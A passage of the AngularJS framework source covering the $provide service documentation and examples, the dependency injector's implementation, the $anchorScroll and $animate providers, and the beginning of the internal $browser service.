3461 * // To better support inline function the inline annotation is supported
3462 * injector.invoke(['$compile', '$rootScope', function(obfCompile, obfRootScope) {
3463 * // ...
3464 * }]);
3465 *
3466 * // Therefore
3467 * expect(injector.annotate(
3468 * ['$compile', '$rootScope', function(obfus_$compile, obfus_$rootScope) {}])
3469 * ).toEqual(['$compile', '$rootScope']);
3470 * ```
3471 *
3472 * @param {Function|Array.<string|Function>} fn Function for which dependent service names need to
3473 * be retrieved as described above.
3474 *
3475 * @returns {Array.<string>} The names of the services which the function requires.
3476 */
3477
3478
3479
3480
3481 /**
3482 * @ngdoc service
3483 * @name $provide
3484 *
3485 * @description
3486 *
3487 * The {@link auto.$provide $provide} service has a number of methods for registering components
3488 * with the {@link auto.$injector $injector}. Many of these functions are also exposed on
3489 * {@link angular.Module}.
3490 *
3491 * An Angular **service** is a singleton object created by a **service factory**. These **service
3492 * factories** are functions which, in turn, are created by a **service provider**.
3493 * The **service providers** are constructor functions. When instantiated they must contain a
3494 * property called `$get`, which holds the **service factory** function.
3495 *
3496 * When you request a service, the {@link auto.$injector $injector} is responsible for finding the
3497 * correct **service provider**, instantiating it and then calling its `$get` **service factory**
3498 * function to get the instance of the **service**.
3499 *
3500 * Often services have no configuration options and there is no need to add methods to the service
3501 * provider. The provider will be no more than a constructor function with a `$get` property. For
3502 * these cases the {@link auto.$provide $provide} service has additional helper methods to register
3503 * services without specifying a provider.
3504 *
3505 * * {@link auto.$provide#provider provider(provider)} - registers a **service provider** with the
3506 * {@link auto.$injector $injector}
3507 * * {@link auto.$provide#constant constant(obj)} - registers a value/object that can be accessed by
3508 * providers and services.
3509 * * {@link auto.$provide#value value(obj)} - registers a value/object that can only be accessed by
3510 * services, not providers.
3511 * * {@link auto.$provide#factory factory(fn)} - registers a service **factory function**, `fn`,
3512 * that will be wrapped in a **service provider** object, whose `$get` property will contain the
3513 * given factory function.
3514 * * {@link auto.$provide#service service(class)} - registers a **constructor function**, `class`
3515 * that will be wrapped in a **service provider** object, whose `$get` property will instantiate
3516 * a new object using the given constructor function.
3517 *
3518 * See the individual methods for more information and examples.
3519 */
3520
3521 /**
3522 * @ngdoc method
3523 * @name $provide#provider
3524 * @description
3525 *
3526 * Register a **provider function** with the {@link auto.$injector $injector}. Provider functions
3527 * are constructor functions, whose instances are responsible for "providing" a factory for a
3528 * service.
3529 *
3530 * Service provider names start with the name of the service they provide followed by `Provider`.
3531 * For example, the {@link ng.$log $log} service has a provider called
3532 * {@link ng.$logProvider $logProvider}.
3533 *
3534 * Service provider objects can have additional methods which allow configuration of the provider
3535 * and its service. Importantly, you can configure what kind of service is created by the `$get`
3536 * method, or how that service will act. For example, the {@link ng.$logProvider $logProvider} has a
3537 * method {@link ng.$logProvider#debugEnabled debugEnabled}
3538 * which lets you specify whether the {@link ng.$log $log} service will log debug messages to the
3539 * console or not.
3540 *
3541 * @param {string} name The name of the instance. NOTE: the provider will be available under `name +
3542 'Provider'` key.
3543 * @param {(Object|function())} provider If the provider is:
3544 *
3545 * - `Object`: then it should have a `$get` method. The `$get` method will be invoked using
3546 * {@link auto.$injector#invoke $injector.invoke()} when an instance needs to be created.
3547 * - `Constructor`: a new instance of the provider will be created using
3548 * {@link auto.$injector#instantiate $injector.instantiate()}, then treated as `object`.
3549 *
3550 * @returns {Object} registered provider instance
3551
3552 * @example
3553 *
3554 * The following example shows how to create a simple event tracking service and register it using
3555 * {@link auto.$provide#provider $provide.provider()}.
3556 *
3557 * ```js
3558 * // Define the eventTracker provider
3559 * function EventTrackerProvider() {
3560 * var trackingUrl = '/track';
3561 *
3562 * // A provider method for configuring where the tracked events should been saved
3563 * this.setTrackingUrl = function(url) {
3564 * trackingUrl = url;
3565 * };
3566 *
3567 * // The service factory function
3568 * this.$get = ['$http', function($http) {
3569 * var trackedEvents = {};
3570 * return {
3571 * // Call this to track an event
3572 * event: function(event) {
3573 * var count = trackedEvents[event] || 0;
3574 * count += 1;
3575 * trackedEvents[event] = count;
3576 * return count;
3577 * },
3578 * // Call this to save the tracked events to the trackingUrl
3579 * save: function() {
3580 * $http.post(trackingUrl, trackedEvents);
3581 * }
3582 * };
3583 * }];
3584 * }
3585 *
3586 * describe('eventTracker', function() {
3587 * var postSpy;
3588 *
3589 * beforeEach(module(function($provide) {
3590 * // Register the eventTracker provider
3591 * $provide.provider('eventTracker', EventTrackerProvider);
3592 * }));
3593 *
3594 * beforeEach(module(function(eventTrackerProvider) {
3595 * // Configure eventTracker provider
3596 * eventTrackerProvider.setTrackingUrl('/custom-track');
3597 * }));
3598 *
3599 * it('tracks events', inject(function(eventTracker) {
3600 * expect(eventTracker.event('login')).toEqual(1);
3601 * expect(eventTracker.event('login')).toEqual(2);
3602 * }));
3603 *
3604 * it('saves to the tracking url', inject(function(eventTracker, $http) {
3605 * postSpy = spyOn($http, 'post');
3606 * eventTracker.event('login');
3607 * eventTracker.save();
3608 * expect(postSpy).toHaveBeenCalled();
3609 * expect(postSpy.mostRecentCall.args[0]).not.toEqual('/track');
3610 * expect(postSpy.mostRecentCall.args[0]).toEqual('/custom-track');
3611 * expect(postSpy.mostRecentCall.args[1]).toEqual({ 'login': 1 });
3612 * }));
3613 * });
3614 * ```
3615 */
3616
3617 /**
3618 * @ngdoc method
3619 * @name $provide#factory
3620 * @description
3621 *
3622 * Register a **service factory**, which will be called to return the service instance.
3623 * This is short for registering a service where its provider consists of only a `$get` property,
3624 * which is the given service factory function.
3625 * You should use {@link auto.$provide#factory $provide.factory(getFn)} if you do not need to
3626 * configure your service in a provider.
3627 *
3628 * @param {string} name The name of the instance.
3629 * @param {function()} $getFn The $getFn for the instance creation. Internally this is a short hand
3630 * for `$provide.provider(name, {$get: $getFn})`.
3631 * @returns {Object} registered provider instance
3632 *
3633 * @example
3634 * Here is an example of registering a service
3635 * ```js
3636 * $provide.factory('ping', ['$http', function($http) {
3637 * return function ping() {
3638 * return $http.send('/ping');
3639 * };
3640 * }]);
3641 * ```
3642 * You would then inject and use this service like this:
3643 * ```js
3644 * someModule.controller('Ctrl', ['ping', function(ping) {
3645 * ping();
3646 * }]);
3647 * ```
3648 */
3649
3650
3651 /**
3652 * @ngdoc method
3653 * @name $provide#service
3654 * @description
3655 *
3656 * Register a **service constructor**, which will be invoked with `new` to create the service
3657 * instance.
3658 * This is short for registering a service where its provider's `$get` property is the service
3659 * constructor function that will be used to instantiate the service instance.
3660 *
3661 * You should use {@link auto.$provide#service $provide.service(class)} if you define your service
3662 * as a type/class.
3663 *
3664 * @param {string} name The name of the instance.
3665 * @param {Function} constructor A class (constructor function) that will be instantiated.
3666 * @returns {Object} registered provider instance
3667 *
3668 * @example
3669 * Here is an example of registering a service using
3670 * {@link auto.$provide#service $provide.service(class)}.
3671 * ```js
3672 * var Ping = function($http) {
3673 * this.$http = $http;
3674 * };
3675 *
3676 * Ping.$inject = ['$http'];
3677 *
3678 * Ping.prototype.send = function() {
3679 * return this.$http.get('/ping');
3680 * };
3681 * $provide.service('ping', Ping);
3682 * ```
3683 * You would then inject and use this service like this:
3684 * ```js
3685 * someModule.controller('Ctrl', ['ping', function(ping) {
3686 * ping.send();
3687 * }]);
3688 * ```
3689 */
3690
3691
3692 /**
3693 * @ngdoc method
3694 * @name $provide#value
3695 * @description
3696 *
3697 * Register a **value service** with the {@link auto.$injector $injector}, such as a string, a
3698 * number, an array, an object or a function. This is short for registering a service where its
3699 * provider's `$get` property is a factory function that takes no arguments and returns the **value
3700 * service**.
3701 *
3702 * Value services are similar to constant services, except that they cannot be injected into a
3703 * module configuration function (see {@link angular.Module#config}) but they can be overridden by
3704 * an Angular
3705 * {@link auto.$provide#decorator decorator}.
3706 *
3707 * @param {string} name The name of the instance.
3708 * @param {*} value The value.
3709 * @returns {Object} registered provider instance
3710 *
3711 * @example
3712 * Here are some examples of creating value services.
3713 * ```js
3714 * $provide.value('ADMIN_USER', 'admin');
3715 *
3716 * $provide.value('RoleLookup', { admin: 0, writer: 1, reader: 2 });
3717 *
3718 * $provide.value('halfOf', function(value) {
3719 * return value / 2;
3720 * });
3721 * ```
3722 */
3723
3724
3725 /**
3726 * @ngdoc method
3727 * @name $provide#constant
3728 * @description
3729 *
3730 * Register a **constant service**, such as a string, a number, an array, an object or a function,
3731 * with the {@link auto.$injector $injector}. Unlike {@link auto.$provide#value value} it can be
3732 * injected into a module configuration function (see {@link angular.Module#config}) and it cannot
3733 * be overridden by an Angular {@link auto.$provide#decorator decorator}.
3734 *
3735 * @param {string} name The name of the constant.
3736 * @param {*} value The constant value.
3737 * @returns {Object} registered instance
3738 *
3739 * @example
3740 * Here a some examples of creating constants:
3741 * ```js
3742 * $provide.constant('SHARD_HEIGHT', 306);
3743 *
3744 * $provide.constant('MY_COLOURS', ['red', 'blue', 'grey']);
3745 *
3746 * $provide.constant('double', function(value) {
3747 * return value * 2;
3748 * });
3749 * ```
3750 */
3751
3752
3753 /**
3754 * @ngdoc method
3755 * @name $provide#decorator
3756 * @description
3757 *
3758 * Register a **service decorator** with the {@link auto.$injector $injector}. A service decorator
3759 * intercepts the creation of a service, allowing it to override or modify the behaviour of the
3760 * service. The object returned by the decorator may be the original service, or a new service
3761 * object which replaces or wraps and delegates to the original service.
3762 *
3763 * @param {string} name The name of the service to decorate.
3764 * @param {function()} decorator This function will be invoked when the service needs to be
3765 * instantiated and should return the decorated service instance. The function is called using
3766 * the {@link auto.$injector#invoke injector.invoke} method and is therefore fully injectable.
3767 * Local injection arguments:
3768 *
3769 * * `$delegate` - The original service instance, which can be monkey patched, configured,
3770 * decorated or delegated to.
3771 *
3772 * @example
3773 * Here we decorate the {@link ng.$log $log} service to convert warnings to errors by intercepting
3774 * calls to {@link ng.$log#error $log.warn()}.
3775 * ```js
3776 * $provide.decorator('$log', ['$delegate', function($delegate) {
3777 * $delegate.warn = $delegate.error;
3778 * return $delegate;
3779 * }]);
3780 * ```
3781 */
3782
3783
3784 function createInjector(modulesToLoad) {
3785 var INSTANTIATING = {},
3786 providerSuffix = 'Provider',
3787 path = [],
3788 loadedModules = new HashMap([], true),
3789 providerCache = {
3790 $provide: {
3791 provider: supportObject(provider),
3792 factory: supportObject(factory),
3793 service: supportObject(service),
3794 value: supportObject(value),
3795 constant: supportObject(constant),
3796 decorator: decorator
3797 }
3798 },
3799 providerInjector = (providerCache.$injector =
3800 createInternalInjector(providerCache, function() {
3801 throw $injectorMinErr('unpr', "Unknown provider: {0}", path.join(' <- '));
3802 })),
3803 instanceCache = {},
3804 instanceInjector = (instanceCache.$injector =
3805 createInternalInjector(instanceCache, function(servicename) {
3806 var provider = providerInjector.get(servicename + providerSuffix);
3807 return instanceInjector.invoke(provider.$get, provider);
3808 }));
3809
3810
3811 forEach(loadModules(modulesToLoad), function(fn) { instanceInjector.invoke(fn || noop); });
3812
3813 return instanceInjector;
3814
3815 ////////////////////////////////////
3816 // $provider
3817 ////////////////////////////////////
3818
3819 function supportObject(delegate) {
3820 return function(key, value) {
3821 if (isObject(key)) {
3822 forEach(key, reverseParams(delegate));
3823 } else {
3824 return delegate(key, value);
3825 }
3826 };
3827 }
3828
3829 function provider(name, provider_) {
3830 assertNotHasOwnProperty(name, 'service');
3831 if (isFunction(provider_) || isArray(provider_)) {
3832 provider_ = providerInjector.instantiate(provider_);
3833 }
3834 if (!provider_.$get) {
3835 throw $injectorMinErr('pget', "Provider '{0}' must define $get factory method.", name);
3836 }
3837 return providerCache[name + providerSuffix] = provider_;
3838 }
3839
3840 function factory(name, factoryFn) { return provider(name, { $get: factoryFn }); }
3841
3842 function service(name, constructor) {
3843 return factory(name, ['$injector', function($injector) {
3844 return $injector.instantiate(constructor);
3845 }]);
3846 }
3847
3848 function value(name, val) { return factory(name, valueFn(val)); }
3849
3850 function constant(name, value) {
3851 assertNotHasOwnProperty(name, 'constant');
3852 providerCache[name] = value;
3853 instanceCache[name] = value;
3854 }
3855
3856 function decorator(serviceName, decorFn) {
3857 var origProvider = providerInjector.get(serviceName + providerSuffix),
3858 orig$get = origProvider.$get;
3859
3860 origProvider.$get = function() {
3861 var origInstance = instanceInjector.invoke(orig$get, origProvider);
3862 return instanceInjector.invoke(decorFn, null, {$delegate: origInstance});
3863 };
3864 }
3865
3866 ////////////////////////////////////
3867 // Module Loading
3868 ////////////////////////////////////
3869 function loadModules(modulesToLoad){
3870 var runBlocks = [], moduleFn, invokeQueue, i, ii;
3871 forEach(modulesToLoad, function(module) {
3872 if (loadedModules.get(module)) return;
3873 loadedModules.put(module, true);
3874
3875 try {
3876 if (isString(module)) {
3877 moduleFn = angularModule(module);
3878 runBlocks = runBlocks.concat(loadModules(moduleFn.requires)).concat(moduleFn._runBlocks);
3879
3880 for(invokeQueue = moduleFn._invokeQueue, i = 0, ii = invokeQueue.length; i < ii; i++) {
3881 var invokeArgs = invokeQueue[i],
3882 provider = providerInjector.get(invokeArgs[0]);
3883
3884 provider[invokeArgs[1]].apply(provider, invokeArgs[2]);
3885 }
3886 } else if (isFunction(module)) {
3887 runBlocks.push(providerInjector.invoke(module));
3888 } else if (isArray(module)) {
3889 runBlocks.push(providerInjector.invoke(module));
3890 } else {
3891 assertArgFn(module, 'module');
3892 }
3893 } catch (e) {
3894 if (isArray(module)) {
3895 module = module[module.length - 1];
3896 }
3897 if (e.message && e.stack && e.stack.indexOf(e.message) == -1) {
3898 // Safari & FF's stack traces don't contain error.message content
3899 // unlike those of Chrome and IE
3900 // So if stack doesn't contain message, we create a new string that contains both.
3901 // Since error.stack is read-only in Safari, I'm overriding e and not e.stack here.
3902 /* jshint -W022 */
3903 e = e.message + '\n' + e.stack;
3904 }
3905 throw $injectorMinErr('modulerr', "Failed to instantiate module {0} due to:\n{1}",
3906 module, e.stack || e.message || e);
3907 }
3908 });
3909 return runBlocks;
3910 }
3911
3912 ////////////////////////////////////
3913 // internal Injector
3914 ////////////////////////////////////
3915
3916 function createInternalInjector(cache, factory) {
3917
3918 function getService(serviceName) {
3919 if (cache.hasOwnProperty(serviceName)) {
3920 if (cache[serviceName] === INSTANTIATING) {
3921 throw $injectorMinErr('cdep', 'Circular dependency found: {0}',
3922 serviceName + ' <- ' + path.join(' <- '));
3923 }
3924 return cache[serviceName];
3925 } else {
3926 try {
3927 path.unshift(serviceName);
3928 cache[serviceName] = INSTANTIATING;
3929 return cache[serviceName] = factory(serviceName);
3930 } catch (err) {
3931 if (cache[serviceName] === INSTANTIATING) {
3932 delete cache[serviceName];
3933 }
3934 throw err;
3935 } finally {
3936 path.shift();
3937 }
3938 }
3939 }
3940
3941 function invoke(fn, self, locals){
3942 var args = [],
3943 $inject = annotate(fn),
3944 length, i,
3945 key;
3946
3947 for(i = 0, length = $inject.length; i < length; i++) {
3948 key = $inject[i];
3949 if (typeof key !== 'string') {
3950 throw $injectorMinErr('itkn',
3951 'Incorrect injection token! Expected service name as string, got {0}', key);
3952 }
3953 args.push(
3954 locals && locals.hasOwnProperty(key)
3955 ? locals[key]
3956 : getService(key)
3957 );
3958 }
3959 if (isArray(fn)) {
3960 fn = fn[length];
3961 }
3962
3963 // http://jsperf.com/angularjs-invoke-apply-vs-switch
3964 // #5388
3965 return fn.apply(self, args);
3966 }
3967
3968 function instantiate(Type, locals) {
3969 var Constructor = function() {},
3970 instance, returnedValue;
3971
3972 // Check if Type is annotated and use just the given function at n-1 as parameter
3973 // e.g. someModule.factory('greeter', ['$window', function(renamed$window) {}]);
3974 Constructor.prototype = (isArray(Type) ? Type[Type.length - 1] : Type).prototype;
3975 instance = new Constructor();
3976 returnedValue = invoke(Type, instance, locals);
3977
3978 return isObject(returnedValue) || isFunction(returnedValue) ? returnedValue : instance;
3979 }
3980
3981 return {
3982 invoke: invoke,
3983 instantiate: instantiate,
3984 get: getService,
3985 annotate: annotate,
3986 has: function(name) {
3987 return providerCache.hasOwnProperty(name + providerSuffix) || cache.hasOwnProperty(name);
3988 }
3989 };
3990 }
3991 }
3992
3993 /**
3994 * @ngdoc service
3995 * @name $anchorScroll
3996 * @kind function
3997 * @requires $window
3998 * @requires $location
3999 * @requires $rootScope
4000 *
4001 * @description
4002 * When called, it checks current value of `$location.hash()` and scrolls to the related element,
4003 * according to rules specified in
4004 * [Html5 spec](http://dev.w3.org/html5/spec/Overview.html#the-indicated-part-of-the-document).
4005 *
4006 * It also watches the `$location.hash()` and scrolls whenever it changes to match any anchor.
4007 * This can be disabled by calling `$anchorScrollProvider.disableAutoScrolling()`.
4008 *
4009 * @example
4010 <example>
4011 <file name="index.html">
4012 <div id="scrollArea" ng-controller="ScrollCtrl">
4013 <a ng-click="gotoBottom()">Go to bottom</a>
4014 <a id="bottom"></a> You're at the bottom!
4015 </div>
4016 </file>
4017 <file name="script.js">
4018 function ScrollCtrl($scope, $location, $anchorScroll) {
4019 $scope.gotoBottom = function (){
4020 // set the location.hash to the id of
4021 // the element you wish to scroll to.
4022 $location.hash('bottom');
4023
4024 // call $anchorScroll()
4025 $anchorScroll();
4026 };
4027 }
4028 </file>
4029 <file name="style.css">
4030 #scrollArea {
4031 height: 350px;
4032 overflow: auto;
4033 }
4034
4035 #bottom {
4036 display: block;
4037 margin-top: 2000px;
4038 }
4039 </file>
4040 </example>
4041 */
4042 function $AnchorScrollProvider() {
4043
4044 var autoScrollingEnabled = true;
4045
4046 this.disableAutoScrolling = function() {
4047 autoScrollingEnabled = false;
4048 };
4049
4050 this.$get = ['$window', '$location', '$rootScope', function($window, $location, $rootScope) {
4051 var document = $window.document;
4052
4053 // helper function to get first anchor from a NodeList
4054 // can't use filter.filter, as it accepts only instances of Array
4055 // and IE can't convert NodeList to an array using [].slice
4056 // TODO(vojta): use filter if we change it to accept lists as well
4057 function getFirstAnchor(list) {
4058 var result = null;
4059 forEach(list, function(element) {
4060 if (!result && lowercase(element.nodeName) === 'a') result = element;
4061 });
4062 return result;
4063 }
4064
4065 function scroll() {
4066 var hash = $location.hash(), elm;
4067
4068 // empty hash, scroll to the top of the page
4069 if (!hash) $window.scrollTo(0, 0);
4070
4071 // element with given id
4072 else if ((elm = document.getElementById(hash))) elm.scrollIntoView();
4073
4074 // first anchor with given name :-D
4075 else if ((elm = getFirstAnchor(document.getElementsByName(hash)))) elm.scrollIntoView();
4076
4077 // no element and hash == 'top', scroll to the top of the page
4078 else if (hash === 'top') $window.scrollTo(0, 0);
4079 }
4080
4081 // does not scroll when user clicks on anchor link that is currently on
4082 // (no url change, no $location.hash() change), browser native does scroll
4083 if (autoScrollingEnabled) {
4084 $rootScope.$watch(function autoScrollWatch() {return $location.hash();},
4085 function autoScrollWatchAction() {
4086 $rootScope.$evalAsync(scroll);
4087 });
4088 }
4089
4090 return scroll;
4091 }];
4092 }
4093
4094 var $animateMinErr = minErr('$animate');
4095
4096 /**
4097 * @ngdoc provider
4098 * @name $animateProvider
4099 *
4100 * @description
4101 * Default implementation of $animate that doesn't perform any animations, instead just
4102 * synchronously performs DOM
4103 * updates and calls done() callbacks.
4104 *
4105 * In order to enable animations the ngAnimate module has to be loaded.
4106 *
4107 * To see the functional implementation check out src/ngAnimate/animate.js
4108 */
4109 var $AnimateProvider = ['$provide', function($provide) {
4110
4111
4112 this.$$selectors = {};
4113
4114
4115 /**
4116 * @ngdoc method
4117 * @name $animateProvider#register
4118 *
4119 * @description
4120 * Registers a new injectable animation factory function. The factory function produces the
4121 * animation object which contains callback functions for each event that is expected to be
4122 * animated.
4123 *
4124 * * `eventFn`: `function(Element, doneFunction)` The element to animate, the `doneFunction`
4125 * must be called once the element animation is complete. If a function is returned then the
4126 * animation service will use this function to cancel the animation whenever a cancel event is
4127 * triggered.
4128 *
4129 *
4130 * ```js
4131 * return {
4132 * eventFn : function(element, done) {
4133 * //code to run the animation
4134 * //once complete, then run done()
4135 * return function cancellationFunction() {
4136 * //code to cancel the animation
4137 * }
4138 * }
4139 * }
4140 * ```
4141 *
4142 * @param {string} name The name of the animation.
4143 * @param {Function} factory The factory function that will be executed to return the animation
4144 * object.
4145 */
4146 this.register = function(name, factory) {
4147 var key = name + '-animation';
4148 if (name && name.charAt(0) != '.') throw $animateMinErr('notcsel',
4149 "Expecting class selector starting with '.' got '{0}'.", name);
4150 this.$$selectors[name.substr(1)] = key;
4151 $provide.factory(key, factory);
4152 };
4153
4154 /**
4155 * @ngdoc method
4156 * @name $animateProvider#classNameFilter
4157 *
4158 * @description
4159 * Sets and/or returns the CSS class regular expression that is checked when performing
4160 * an animation. Upon bootstrap the classNameFilter value is not set at all and will
4161 * therefore enable $animate to attempt to perform an animation on any element.
4162 * When setting the classNameFilter value, animations will only be performed on elements
4163 * that successfully match the filter expression. This in turn can boost performance
4164 * for low-powered devices as well as applications containing a lot of structural operations.
4165 * @param {RegExp=} expression The className expression which will be checked against all animations
4166 * @return {RegExp} The current CSS className expression value. If null then there is no expression value
4167 */
4168 this.classNameFilter = function(expression) {
4169 if(arguments.length === 1) {
4170 this.$$classNameFilter = (expression instanceof RegExp) ? expression : null;
4171 }
4172 return this.$$classNameFilter;
4173 };
4174
4175 this.$get = ['$timeout', '$$asyncCallback', function($timeout, $$asyncCallback) {
4176
4177 function async(fn) {
4178 fn && $$asyncCallback(fn);
4179 }
4180
4181 /**
4182 *
4183 * @ngdoc service
4184 * @name $animate
4185 * @description The $animate service provides rudimentary DOM manipulation functions to
4186 * insert, remove and move elements within the DOM, as well as adding and removing classes.
4187 * This service is the core service used by the ngAnimate $animator service which provides
4188 * high-level animation hooks for CSS and JavaScript.
4189 *
4190 * $animate is available in the AngularJS core, however, the ngAnimate module must be included
4191 * to enable full out animation support. Otherwise, $animate will only perform simple DOM
4192 * manipulation operations.
4193 *
4194 * To learn more about enabling animation support, click here to visit the {@link ngAnimate
4195 * ngAnimate module page} as well as the {@link ngAnimate.$animate ngAnimate $animate service
4196 * page}.
4197 */
4198 return {
4199
4200 /**
4201 *
4202 * @ngdoc method
4203 * @name $animate#enter
4204 * @kind function
4205 * @description Inserts the element into the DOM either after the `after` element or within
4206 * the `parent` element. Once complete, the done() callback will be fired (if provided).
4207 * @param {DOMElement} element the element which will be inserted into the DOM
4208 * @param {DOMElement} parent the parent element which will append the element as
4209 * a child (if the after element is not present)
4210 * @param {DOMElement} after the sibling element which will append the element
4211 * after itself
4212 * @param {Function=} done callback function that will be called after the element has been
4213 * inserted into the DOM
4214 */
4215 enter : function(element, parent, after, done) {
4216 if (after) {
4217 after.after(element);
4218 } else {
4219 if (!parent || !parent[0]) {
4220 parent = after.parent();
4221 }
4222 parent.append(element);
4223 }
4224 async(done);
4225 },
4226
4227 /**
4228 *
4229 * @ngdoc method
4230 * @name $animate#leave
4231 * @kind function
4232 * @description Removes the element from the DOM. Once complete, the done() callback will be
4233 * fired (if provided).
4234 * @param {DOMElement} element the element which will be removed from the DOM
4235 * @param {Function=} done callback function that will be called after the element has been
4236 * removed from the DOM
4237 */
4238 leave : function(element, done) {
4239 element.remove();
4240 async(done);
4241 },
4242
4243 /**
4244 *
4245 * @ngdoc method
4246 * @name $animate#move
4247 * @kind function
4248 * @description Moves the position of the provided element within the DOM to be placed
4249 * either after the `after` element or inside of the `parent` element. Once complete, the
4250 * done() callback will be fired (if provided).
4251 *
4252 * @param {DOMElement} element the element which will be moved around within the
4253 * DOM
4254 * @param {DOMElement} parent the parent element where the element will be
4255 * inserted into (if the after element is not present)
4256 * @param {DOMElement} after the sibling element where the element will be
4257 * positioned next to
4258 * @param {Function=} done the callback function (if provided) that will be fired after the
4259 * element has been moved to its new position
4260 */
4261 move : function(element, parent, after, done) {
4262 // Do not remove element before insert. Removing will cause data associated with the
4263 // element to be dropped. Insert will implicitly do the remove.
4264 this.enter(element, parent, after, done);
4265 },
4266
4267 /**
4268 *
4269 * @ngdoc method
4270 * @name $animate#addClass
4271 * @kind function
4272 * @description Adds the provided className CSS class value to the provided element. Once
4273 * complete, the done() callback will be fired (if provided).
4274 * @param {DOMElement} element the element which will have the className value
4275 * added to it
4276 * @param {string} className the CSS class which will be added to the element
4277 * @param {Function=} done the callback function (if provided) that will be fired after the
4278 * className value has been added to the element
4279 */
4280 addClass : function(element, className, done) {
4281 className = isString(className) ?
4282 className :
4283 isArray(className) ? className.join(' ') : '';
4284 forEach(element, function (element) {
4285 jqLiteAddClass(element, className);
4286 });
4287 async(done);
4288 },
4289
4290 /**
4291 *
4292 * @ngdoc method
4293 * @name $animate#removeClass
4294 * @kind function
4295 * @description Removes the provided className CSS class value from the provided element.
4296 * Once complete, the done() callback will be fired (if provided).
4297 * @param {DOMElement} element the element which will have the className value
4298 * removed from it
4299 * @param {string} className the CSS class which will be removed from the element
4300 * @param {Function=} done the callback function (if provided) that will be fired after the
4301 * className value has been removed from the element
4302 */
4303 removeClass : function(element, className, done) {
4304 className = isString(className) ?
4305 className :
4306 isArray(className) ? className.join(' ') : '';
4307 forEach(element, function (element) {
4308 jqLiteRemoveClass(element, className);
4309 });
4310 async(done);
4311 },
4312
4313 /**
4314 *
4315 * @ngdoc method
4316 * @name $animate#setClass
4317 * @kind function
4318 * @description Adds and/or removes the given CSS classes to and from the element.
4319 * Once complete, the done() callback will be fired (if provided).
4320 * @param {DOMElement} element the element which will have its CSS classes changed
4321 * removed from it
4322 * @param {string} add the CSS classes which will be added to the element
4323 * @param {string} remove the CSS class which will be removed from the element
4324 * @param {Function=} done the callback function (if provided) that will be fired after the
4325 * CSS classes have been set on the element
4326 */
4327 setClass : function(element, add, remove, done) {
4328 forEach(element, function (element) {
4329 jqLiteAddClass(element, add);
4330 jqLiteRemoveClass(element, remove);
4331 });
4332 async(done);
4333 },
4334
4335 enabled : noop
4336 };
4337 }];
4338 }];
4339
4340 function $$AsyncCallbackProvider(){
4341 this.$get = ['$$rAF', '$timeout', function($$rAF, $timeout) {
4342 return $$rAF.supported
4343 ? function(fn) { return $$rAF(fn); }
4344 : function(fn) {
4345 return $timeout(fn, 0, false);
4346 };
4347 }];
4348 }
4349
4350 /**
4351 * ! This is a private undocumented service !
4352 *
4353 * @name $browser
4354 * @requires $log
4355 * @description
4356 * This object has two goals:
4357 *
4358 * - hide all the global state in the browser caused by the window object
4359 * - abstract away all the browser specific features and inconsistencies
4360 *
4361 * For tests we provide {@link ngMock.$browser mock implementation} of the `$browser`
4362 * service, which can be used for convenient testing of the application without the interaction with
4363 * the real browser apis.
4364 */
4365 /**
4366 * @param {object} window The global window object.
4367 * @param {object} document jQuery wrapped document.
4368 * @param {function()} XHR XMLHttpRequest constructor.
4369 * @param {object} $log console.log or an object with the same interface.
4370 * @param {object} $sniffer $sniffer service
4371 */
4372 function Browser(window, document, $log, $sniffer) {
4373 var self = this,
4374 rawDocument = document[0],
4375 location = window.location,
4376 history = window.history,
4377 setTimeout = window.setTimeout,
4378 clearTimeout = window.clearTimeout,
4379 pendingDeferIds = {};
4380
4381 self.isMock = false;
4382
4383 var outstandingRequestCount = 0;
4384 var outstandingRequestCallbacks = [];
4385
4386 // TODO(vojta): remove this temporary api
4387 self.$$completeOutstandingRequest = completeOutstandingRequest;
4388 self.$$incOutstandingRequestCount = function() { outstandingRequestCount++; };
4389
4390 /**
4391 * Executes the `fn` function(supports currying) and decrements the `outstandingRequestCallbacks`
4392 * counter. If the counter reaches 0, all the `outstandingRequestCallbacks` are executed.
4393 */
4394 function completeOutstandingRequest(fn) {
4395 try {
4396 fn.apply(null, sliceArgs(arguments, 1));
4397 } finally {
4398 outstandingRequestCount--;
4399 if (outstandingRequestCount === 0) {
4400 while(outstandingRequestCallbacks.length) {
4401 try {
4402 outstandingRequestCallbacks.pop()();
4403 } catch (e) {
4404 $log.error(e);
4405 }
4406 }
4407 }
4408 }
4409 }
4410
4411 /**
4412 * @private
4413 * Note: this method is used only by scenario runner
4414 * TODO(vojta): prefix this method with $$ ?
4415 * @param {function()} callback Function that will be called when no outstanding request
4416 */
4417 self.notifyWhenNoOutstandingRequests = function(callback) {
4418 // force browser to execute all pollFns - this is needed so that cookies and other pollers fire
4419 // at some deterministic time in respect to the test runner's actions. Leaving things up to the
4420 // regular poller would result in flaky tests.
4421 forEach(pollFns, function(pollFn){ pollFn(); });
4422
4423 if (outstandingRequestCount === 0) {
4424 callback();
4425 } else {
4426 outstandingRequestCallbacks.push(callback);
4427 }
4428 };
4429
4430 //////////////////////////////////////////////////////////////
4431 // Poll Watcher API
4432 //////////////////////////////////////////////////////////////
4433 var pollFns = [],
4434 pollTimeout;
4435
4436 /**
4437 * @name $browser#addPollFn
4438 *
4439 * @param {function()} fn Poll function to add
4440 *
4441 * @description
4442 * Adds a function to the list of functions that poller periodically executes,
4443 * and starts polling if not started yet.
4444 *
4445 * @returns {function()} the added function
4446 */
4447 self.addPollFn = function(fn) {
4448 if (isUndefined(pollTimeout)) startPoller(100, setTimeout);
4449 pollFns.push(fn);
4450 return fn;
4451 };
4452
4453 /**
4454 * @param {number} interval How often should browser call poll functions (ms)
4455 * @param {function()} setTimeout Reference to a real or fake `setTimeout` function.
4456 *
4457 * @description
4458 * Configures the poller to run in the specified intervals, using the specified
4459 * setTimeout fn and kicks it off.
4460 */
4461 function startPoller(interval, setTimeout) {
4462 (function check() {
4463 forEach(pollFns, function(pollFn){ pollFn(); });
4464 pollTimeout = setTimeout(check, interval);
4465 })();
4466 }
4467
4468 //////////////////////////////////////////////////////////////
4469 // URL API
4470 //////////////////////////////////////////////////////////////
4471
4472 var lastBrowserUrl = location.href,
4473 baseElement = document.find('base'),
4474 newLocation = null;
4475
4476 /**
4477 * @name $browser#url
4478 *
4479 * @description
4480 * GETTER:
4481 * Without any argument, this method just returns current value of location.href.
4482 *
4483 * SETTER:
4484 * With at least one argument, this method sets url to new value.
4485 * If html5 history api supported, pushState/replaceState is used, otherwise
4486 * location.href/location.replace is used.
4487 * Returns its own instance to allow chaining
4488 *
4489 * NOTE: this api is intended for use only by the $location service. Please use the
